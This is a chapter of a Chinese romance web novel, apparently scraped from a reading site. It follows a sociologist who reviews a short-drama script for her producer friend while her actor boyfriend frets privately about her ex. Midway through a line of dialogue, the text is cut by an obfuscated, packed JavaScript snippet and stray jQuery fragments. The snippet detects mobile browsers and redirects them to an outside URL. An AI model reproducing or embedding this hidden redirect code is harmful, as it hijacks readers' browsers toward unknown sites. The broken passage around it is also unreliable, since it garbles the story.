默认冷灰
24号文字
方正启体

10. 边界

作者:允不周本书字数:K更新时间:
    骆飞靠墙坐着,小腹上放了个抱枕,跟她们让出了一段距离,他很少插话,一般就是边玩手机边听。


    他喜欢听她们说话,很有意思。


    付灵冷静了点:“你别跟我管这的那的,你就帮我看看,这些标注的地方有没有名词和情境上用错的,专业一点,但别太专业了,观众看不懂。”


    “你杀了我吧!你杀了我吧!”徐微抢走骆飞的抱枕,“哐哐哐”地砸头,砸清醒了,吐气吸气给自己做心理建设,抢过笔记本电脑,一伸手,付灵把鼠标推过来。


    能怎么办呢,这是亲闺蜜。


    作为一个硕士研究家庭微观结构,肚子里藏了一大堆比小说还狗血的亲密关系案例,博士专攻中观县域研究,熟知结构和个体的影响关系,因为经常跑田野,能把大多数专业术语操作化成傻子都能听懂的例子的社会学者,徐微还是太权威了。


    忙活了两个多小时,徐微的表情从五官扭曲到躺平任锤,最后脱力地往骆飞怀里一靠,抱枕盖住脸,没电了。


    弄死她算了。


    骆飞往上带了带,她枕在他肩上,像条没力气的死鱼,一动不动。


    他就搂得更紧。


    付灵根本不在乎他们秀恩爱,满意地翻看文档,对着徐微恶魔低吟:“指导费我让财务打给你哦。”


    “……你别。”徐微脸还蒙着,有气无力地扒拉她:“……别挂我名,求你了。”


    付灵理所当然:“肯定要挂的啊,我尊重你的劳动成果。”


    “你别尊重我了,你把这个剧本拿给我就已经不尊重我的智商了!”徐微又来劲了,扔掉抱枕,弹射起步,扑过去挽住她的手,黏着,飚烂到爆炸的演技,“陛下!女皇!武则天!妾飘零半生,未逢明主,基础工资七千,兜里空空。”她佯装抹了一把眼泪,大声哀嚎,“妾实在是除了名节什么都没有了啊!”


    一个搞社会学的,指导一部心理咨询师和精神病患者谈恋爱的短剧,这个剧也许在文艺界毫无波澜,但一定够她在人文社科界沦为笑柄。


    去学术会议都怕心理学的来暗杀。


    “哈哈!”没人不喜欢当暴君,付灵猖狂地搂住她的腰,想了会儿,善解人意地说,“你不挂名的话,就不走公账了,我待会私人转账给你吧。”


    “你不用给我钱的。”徐微诚挚地看着她,眼睛亮亮的,“我喜欢和你说话。”


    付灵还娇羞了一下,指肚轻拍桌面,勾起嘴角:“不行,我们在商言商。”


    “好,谢谢付总。”徐微可可爱爱的,跟她撒娇,“付总好大款哦。”


    付灵揉了一把徐微卫衣帽子上的装饰兔耳朵,拿起鼠标继续看文档了。


    包厢里安静下来。


    骆飞早就习惯她们的相处方式,起身去拿餐桌上的那扎豆奶,又捏了两个干净的玻璃杯,分在她们面前,给她们倒饮料。


    付灵是业内公认的狠人,既能下片场抓剧本摄像后期,也能带着艺人在饭局撕资源,只有和徐微在一起的时候她才会放松一些,哼着歌核对文档细节。


    至于徐微……骆飞就没见过在徐微面前不放松的人,她自己更是放松得没边了。


    豆奶倒好,她捧起玻璃杯喝一口,擦擦嘴,换了个方向,又像死鱼一样瘫倒,骆飞失笑,把抱枕递过去,她飞快抢过,再次把脸盖住了。


    好可爱啊,可爱死了。


    心怦怦跳。


    喜欢她。


    “骆飞。”付灵叫他。


    “嗯?”骆飞回过神。


    付灵公事公办的语气:“剧本这两天就定了,年前立项,要把选角定妆的流程走完,你选角不用去,直接定妆,具体等今越姐通知你。”


    张今越是他的经纪人。


    “好的,老板。”骆飞点头应。


    徐微听到动静,揭开抱枕,歪头看看他,扭过脸,扯付灵的衣角:“你让他演男主,不合适的吧?男主是个精神病诶,你看他,多阳光、多开朗。”


    骆飞嘴角抽了一下。


    原来你这么看我的?


    不应该呀,他觉得他内心很阴暗的。


    付灵眼皮都没抬,淡淡道:“放心,他能演的。”


    徐微皱着眉,有点担心地转头看他:“真的能演吗?好有难度。”


    “我看看剧本。”骆飞接过推来的笔记本电脑,点着触控版滑动文档,边看边思考,说:“不难,不用演精神病,演成疯批就好了。”


    徐微:“哈?”


    “你看。”他把她拉起来。


    骆飞抬手把头发抓得蓬乱,毫无规则的刘海半遮双眼,半跪着,扶住她的双肩,与她平视,换了个直勾勾的眼神,盯紧她,扯起左嘴角,带动面部肌肉后再把右嘴角也扯起来,“呵哈哈哈”地边狂笑边往后仰,眼睛亦在缓缓虚焦,直到看不清她。


    很吓人的表情,他知道。


    他在行业内还算深耕,有一类角色,别管有钱的没钱的,健全的残疾的,心理健康还是脑子有病的,通通给观众演成癫的。


    这就叫专业。


    徐微浑身一颤,深吸一口冷气,怔怔地看着他。


    “我吓到你了吗?”他收了表情,手指把头发梳回来,小心翼翼地说,“……应该没有那么吓人吧?”


    徐微呆呆的,手指无意识地攥紧袖口,许久,她转过头,问付灵:“灵灵,介意我当着你的面亲一下男朋友吗?”


    “这你还要问我?”付灵抬头翻了个白眼,继续发微信。


    徐微恍然大悟了,握住他的手,鬼鬼祟祟的,超小声:“那回家再亲、回家再亲嗷。”


    “好。”骆飞应。


    两个人都不知道笑点在哪,挤靠在一起,骆飞的嘴角一直翘着,徐微则下颌抵着他的肩,埋着头吃吃笑,手拉得很紧。


    付灵总算对接完消息,搁了手机,瞪她:“我无语了,你想亲就亲啊,我还能把你们脑袋掰开啊?”


    “不行,实施亲密行为需要考虑社会规范和社会观瞻的。”徐微跟他挪开了一点距离,坐在桌子边,一本正经地说。


    付灵嘴角也抽了,无奈地两手一摊,看了眼骆飞,意思分明是“看看,书读傻了就这样”。


    哎。


    窗外天色渐暗,摁下开关,澄澈的灯光落下,付灵懒得折腾,打电话叫服务员再送一份餐单。


    最近天冷,就要了一份寿喜烧,拣着徐微爱吃的和牛、鹅肝、海胆、星鳗、松叶蟹点了一圈,再要了沙拉和刺身。


    服务员撤走下午的杯盘,端来陶炉和砂锅,寿喜烧咕嘟咕嘟地响,清香的白雾模糊了视线。


    可生食鸡蛋打进小碗,搅碎了,裹上刚熟的和牛,他夹给徐微,她吃下,幸福地眯了眯眼睛。


    温温暖暖。


    公司最近项目多,付灵忙得跟个陀螺似的,边吃边给骆飞安排工作:“你年后的戏是正月二十四进组吧?那咱们这部早一点,你初八就回来,初九开机,拍七天,不耽误你进长剧剧组。导演场地之类我来协调,你注意一□□型,开拍前肯定要二次定妆的,别出现两次定妆不连戏的情况。”


    骆飞还没说话,徐微受不了了,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17531249|203610||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    骂她:“你个资本家,当着我的面就开始剥削无产阶级了。”


    “外行别来指导内行啊,公司对他有规划,听公司的就行了。”付灵抱臂,眼里是被行业腌透了的精明,语气沉稳有力,“艺人有机会闯长剧我当然支持,但你看看现在的行情,开机的长剧一年比一年少;短剧呢,流量不长久,演员要保持热度就得一直有剧,我这边给他压了一部精品短剧,过年档再播;再给他存一部,省得他一进组三个月,什么作品都续不上。”


    徐微丝滑地认栽,低头吃菜:“好好好,我不评论你的商业行为。”


    作为从零起步创业的女总裁,付灵太爱操心了,对着骆飞就下指令:“趁这两年行情不错,能挣钱就多挣一点,不会管钱就让微微帮你管,早点给她换套房子,省得她居无定所的。”


    骆飞点点头,放下筷子,郑重地说:“我知道的,老板。”


    “你可别来了!”徐微赶紧拒绝,界限分明,“他的钱是他的钱,我的钱是我的钱,自己的钱自己管,他不需要对我的经济状况负责,买房子是我自己的事。”


    骆飞默了默,在桌下攥了拳,没有说话。


    ……为什么不要我的钱呢,除了给你钱,我又该做什么确认我是你的男朋友呢?


    他总是想找一点能让徐微依赖他,不会离开他的方法。


    然后发现,没有。


    她随时可以开始,也随时可以结束。


    回过神,徐微和付灵都没把刚才的对话当回事,两个人早就东拉西扯地喝着豆奶聊开了。


    她们和他舅舅一样,喜欢聊国际局势、政策法律还有热点新闻,区别在于,这些东西就是她们吃饭的家伙,所以她们聊得更深、更专业,甚至就是因为她们专业,所以她们聊得更清晰。


    两个人翻着国内外的历史和时势盘因果逻辑,对政要人物如数家珍,绕着讲了一大圈,落到徐微最近在做的研究上。


    她托着腮,专业概念信手捏来:“平台经济做多了,就会发现技术刚性深深嵌进了人的社会属性,我一直觉得人机关系很有研究吸引力,如果可以的话,下个课题想试试看申这个。”


    “你别管人机了,什么高科技概念,全是割散户韭菜,我最近买的科技股,一片绿。”付灵把手机伸过来,


    “反倒转做服务业的瑞途集团最近很稳健,新闻说他们卖的盲盒娃娃国外炒得都跟LV一个价了,喏,你看看。”


    徐微滑了滑红彤彤的手机屏,云淡风轻地说:“那真是恭喜他了。”


    付灵就笑了,收回手机:“你看开就好。”


    “我一直看得很开啊。”


    骆飞低下头,紧紧地闭上眼。


    瑞途集团的现任董事长和首席执行官,就是徐微的前男友。


    此时此刻,他只能装傻,因为徐微很少提她的前任,当年她在朋友圈官宣分手,都只有一句——


    【经过友好协商,本人已经解除了九年的情侣关系,因为朋友圈有很多知道我情感状况的亲友,就不一一告知了,目前状态良好,不需要各位私聊关心,谢谢大家~】


    洒脱得过分。


    他连她前任姓甚名谁,都是小偷一样翻了她的硕士毕业论文,在致谢里找到的,再根据网络上的蛛丝马迹,确定了那个男人。


    此刻,骆飞只能演,演自己根本不知道她提到了她的前任。


    ……演戏,好难啊。


    纠结了很久,他悄悄拿出手机,给付灵发消息。


    骆飞:【付总,你知道微微为什么和她前男友分手吗?】
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)